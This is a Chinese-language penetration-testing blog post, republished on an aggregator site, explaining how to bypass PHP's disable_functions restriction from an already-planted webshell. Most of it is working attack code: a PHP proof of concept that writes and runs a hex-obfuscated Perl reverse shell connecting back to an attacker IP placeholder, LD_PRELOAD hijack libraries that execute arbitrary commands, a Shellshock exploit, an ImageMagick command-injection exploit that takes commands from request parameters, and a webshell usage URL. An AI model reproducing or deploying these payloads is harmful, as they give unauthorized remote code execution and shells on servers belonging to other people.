6

bypass php disable_functions - ssooking

 2 years ago
source link: https://ssooking.github.io/2021/02/bypass-php-disable-functions/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
bypass php disable_functions

渗透过程中,当利用webshell执行命令时报错,蚁剑等工具返回ret=127,查看phpinfo信息发现存在disable_functions函数禁用项时,说明存在disable_functions,此时需要进行绕过。

disable_functions是php.ini配置文件中的一个黑名单配置项,运维人员或安全管理员出于安全考虑会禁用一些危险PHP函数,如命令执行函数等,导致渗透过程中Webshell无法执行这些命令。如:

disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等

常见危险函数功能:

passthru():允许执行一个外部程序并回显输出,类似于exec()
exec():允许执行一个外部程序(如UNIX Shell或CMD命令等)
system():允许执行一个外部程序并回显输出,类似于passthru()。
chroot():可改变当前PHP进程的工作根目录,仅当系统支持CLI模式PHP时才工作,不适用于Windows
chgrp():改变文件或目录所属的用户组。
chown():改变文件或目录的所有者。
shell_exec():通过Shell执行命令,并将执行结果作为字符串返回。
proc_open():执行一个命令并打开文件指针用于读取以及写入。
proc_get_status():获取使用proc_open()所打开进程的信息。
ini_set():可用于修改、设置PHP环境配置参数。
ini_alter():ini_set()函数的一个别名函数,功能与ini_set()相同。具体参见ini_set()。
ini_restore():可用于恢复PHP环境配置参数到其初始值。
dl():在 PHP 进行运行过程当中(而非启动时)加载一个PHP外部模块。
pfsockopen():建立一个Internet或UNIX域的socket持久连接。
symlink():在UNIX系统中建立一个符号链接。
popen():可通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行。
putenv():在PHP运行时改变系统字符集环境。低于5.2.6版本的PHP中可配合利用sendmail指令发送特殊参数执行命令。
phpinfo():输出 PHP 环境信息以及相关的模块、WEB环境等信息。
scandir():列出指定路径中的文件和目录。
syslog():可调用 UNIX 系统的系统层 syslog()函数。
readlink():返回符号连接指向的目标文件内容
stream_socket_server():建立一个Internet或UNIX服务器连接
error_log():将错误信息发送到指定位置(文件)。在某些版本的PHP中,可使用error_log()绕过 PHP safe mode,
执行任意命令。

绕过disable_functions

常见绕过方法:

  • 使用未过滤的命令执行函数
    • exec,shell_exec,system,passthru,popen,proc_open,反单引号
  • 蚁剑bypass插件
  • 利用环境变量LD_PRELOAD绕过
  • 利用php漏洞实现命令执行
    • php7-gc-bypass(php 7.0-7.3):利用PHP garbage collector程序中的堆溢出漏洞触发执行命令
    • php-json-bypass(php 7.0-7.3):利用json序列化程序中的堆溢出漏洞触发执行命令。蚁剑插件实现。
  • 利用Apache+mod_cgi+.htaccess
  • 利用ImageMagick漏洞绕过
  • ShellShock漏洞绕过(CVE-2014-6271)
  • Windows COM组件绕过
  • Windows PHP拓展win32std绕过
  • 利用PHP7.4的FFI绕过
  • PHP-FPM
  • To add

使用未过滤的函数

如果常见命令执行函数未被全部过滤,存在遗漏,则可以使用未被过滤的函数去执行命令。查看php文档中中所有的程序执行函数,常见函数system、exec等被过滤,可以使用popen、pcntl_exec等函数。

常见函数: system()、exec()、shell_exec()、passthru()

其他函数:popen()、proc_open()、pcntl_exec()

pcntl是linux的一个php扩展,用于多进程操作,许多PHP的CMS框架都会使用这个拓展。该拓展支持在php中以pcntl_exec函数执行指定程序。如果运维人员安全意识不强,则可能忽略pcntl扩展的相关函数。下面是利用该函数执行的POC,要求PHP 4 >= 4.2.0, PHP 5 on linux

<?php 
/*******************************
 *查看phpinfo编译参数--enable-pcntl
 *作者 Spider
 *nc -vvlp 443
********************************/
 
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
 
header("content-Type: text/html; charset=gb2312");
 
if(function_exists('pcntl_exec')) {
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('写入'.$file.'失败');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
        echo '不支持pcntl扩展';
}
?>

蚁剑bypass插件

Webshell管理工具蚁剑的bypass插件已实现一些方式绕过disable_functions和open_basedir等安全限制,渗透时快速食用可提高效率。代码仓库地址,主要代码在 core/php_fpm/index.js 里。

利用LD_PRELOAD劫持系统函数

LD_PRELOAD是linux的一个环境变量,它可以定义程序运行前优先加载的动态链接库,其主要是用来有选择性的载入不同动态链接库中的相同函数。这个特性可以被恶意利用,攻击者可以劫持程序加载的动态链接库,执行其中的自定义恶意函数。关于LD_PRELOAD解析可以参考:Reverse Engineering with LD_PRELOAD

举例说明:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	char passwd[] = "123456";

	if (argc < 2) {
		printf("usage: %s <given-password>\n", argv[0]);
		return 0;
	}

	if (!strcmp(passwd, argv[1])) {
		printf("Right password!\n");
		return 1;
	}

	printf("Wrong password!\n");
	return 0;
}

这是一个简单的判断密码是否正确的程序例子,输入正确的密码123456则会提示正确,否则提示错误。

ssooking@pc:~/Test$ gcc test.c -o test
ssooking@pc:~/Test$ ./test 11111
Wrong password!
ssooking@pc:~/Test$ ./test 123456
Right password!

可以用ldd或readelf命令查看一下动态链接库依赖关系

$ ldd test
	linux-vdso.so.1 =>  (0x00007ffe4dbfc000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4dd927a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4dd9644000)
$ readelf -d test

通过readelf -Ws test可以查看程序可能调用的系统API函数,但这个命令结果仅代表可能被调用的API,不代表一定调用。通过strace -f + 执行程序可看到程序运行时实际的调用情况。

由于上面的代码调用了标准库里的strcmp()方法,我们可以重写strcmp()方法,攻击代码:

#include <stdio.h>
#include <string.h>

void payload(){
	printf("Hijacked!\n");
}

int strcmp(const char *s1, const char *s2) {
	payload();
	return 0;	//结果总返回相等
}

编译并加载动态链接库,观察加载前后的执行结果

ssooking@pc:~/Test$ gcc -fPIC -c hijack.c -o hijack.o
ssooking@pc:~/Test$ gcc -shared hijack.o -o hijack.so
ssooking@pc:~/Test$ ./test 111111
Wrong password!
ssooking@pc:~/Test$ export LD_PRELOAD=./hijack.so
ssooking@pc:~/Test$ ./test 111111
Hijacked!
Right password!

发现加载了恶意动态链接库中的strcmp函数,使返回结果总相等,并打印了测试payload。

在php中,可以使用putenv设置环境变量,同理,绕过disable_functions思路:

  1. 找到要劫持的目标函数(系统调用)
  2. 生成一个恶意动态链接库文件,重写该函数
  3. 利用putenv设置LD_PRELOAD,加载恶意动态链接库文件
  4. 配合php的某个函数去触发创建新进程,从而加载被劫持的函数,如:mail,imap_mail,error_log,mb_send_mail、__attribute__ ((__constructor__))、imagemagick+GhostScript
  5. 执行需要的命令

例1:以 php的mail函数为例,通过劫持getuid 函数启动新进程

限制:从 strace 命令的结果看mail 函数的使⽤依赖于系统中存在的 sendmail 命令

gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so
  
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

实战中执行不同命令需要反复编译上传文件进行劫持怎么办?

解决方法是劫持的函数中,写入执行其他脚本或程序的命令,如:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
        system("echo `python cmd.py` > result.txt");
}   

int geteuid() {
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  payload();
}

cmd.py

import subprocess

with open('cmd.txt') as fp:
    print subprocess.call(fp.read(), shell=True)

这样只需要修改 cmd.txt就可以执行不同命令,而无需重新编译。

如何找到支持创建新进程的函数?

php基于C语言开发,linux也基于C语言开发,函数实现上有相同之处。我们可以追踪php自带的函数执行时的函数调用,找到可以启动新进程的函数,但启动的方式不能是exec,system,passthru等这种被过滤的。如原作者发现了php中的mail函数在运行时可以通过execve启用新进程:

strace -f php mail.php 2>&1 |grep -A2 -B2 execve

如:error_log函数也会调用execve创建新进程,

<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

使用LD_PRELOAD劫持函数存在一些问题,如:

一、有些函数服务器不支持,如mail函数实际依赖的是sendmail,但是目标服务器未安装。

二、通过LD_PRELOAD劫持了启动进程的相关函数,如果劫持后启动的新进程同样调用该函数,那么如果不在新进程启动前取消LD_PRELOAD,则将陷入死循环。通常做法调用 unsetenv("LD_PRELOAD")删除环境变量。这在大部分linux上可行,但在centos上却无效,因为centos自己也hook 了unsetenv(),在其内部启动了其他进程,还没有删除LD_PRELOAD就又被劫持,导致无限循环。

基于这些问题,有师傅做了一个优化,项目地址。作者选择预加载实现__attribute__((constructor))构造函数的动态库文件,该函数会在main()之前执行,因此无需劫持某个函数即可执行我们的代码。

项目中有三个关键文件:

  • bypass_disablefunc.php
  • bypass_disablefunc_x64.so
  • bypass_disablefunc_x86.so

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

一是cmd参数,待执行的系统命令;

二是outpath参数,保存命令执行输出的文件路径(如/tmp/xx),便于在页面上显示,另外该参数,你应注意web是否有读写权限、网络是否可跨目录访问、文件将被覆盖和删除系统等卫星;

三是sopath参数,指定劫持函数的共享对象的绝对路径(如/var/www/bypass_disablex64.so),另外,关于该参数,你应该注意网络是否可以跨目录访问它。

ShellShock漏洞绕过

利用ShellShock,即bash破壳漏洞(CVE-2014-6271)绕过。该漏洞存在于bash 1.14 – 4.3版本中,漏洞原因是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。该漏洞要求php < 5.6.2,分析文章可参考PHP Execute Command Bypass Disable_functions。POC:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   //mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

ImageMagick漏洞绕过

ImageMagick是一款使用广泛的图片处理程序,Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,该漏洞可用于绕过disable_functions,EXP:

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

PHP FPM绕过

php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成数据。PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议与fpm进行通信。参考文章:攻击PHP-FPM 实现Bypass Disable Functions

PHP FFI 绕过

PHP FFI (Foreign Function interface),是自PHP7.4开始提供的一个PHP拓展。该拓展让开发者可以方便的调用C语言写的各种库,实现了高级语言的相互调用。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可bypass disable_functions。

Windows COM组件绕过

Windows环境下,当php.ini的设置项com.allow_dcom=true时,可以通过COM组件执行系统命令,资料参考:PHP 5.x COM - Safe Mode / disable_functions Bypass

Windows PHP拓展win32std绕过

win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令,参考PHP 5.2.3 Win32std - ‘win_shell_execute’ Safe Mode / disable_functions Bypass

https://github.com/verctor/BShell

https://github.com/teambi0s/dfunc-bypasser

https://github.com/obolu/Bypass_Disable_functions 搭建docker测试环境


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK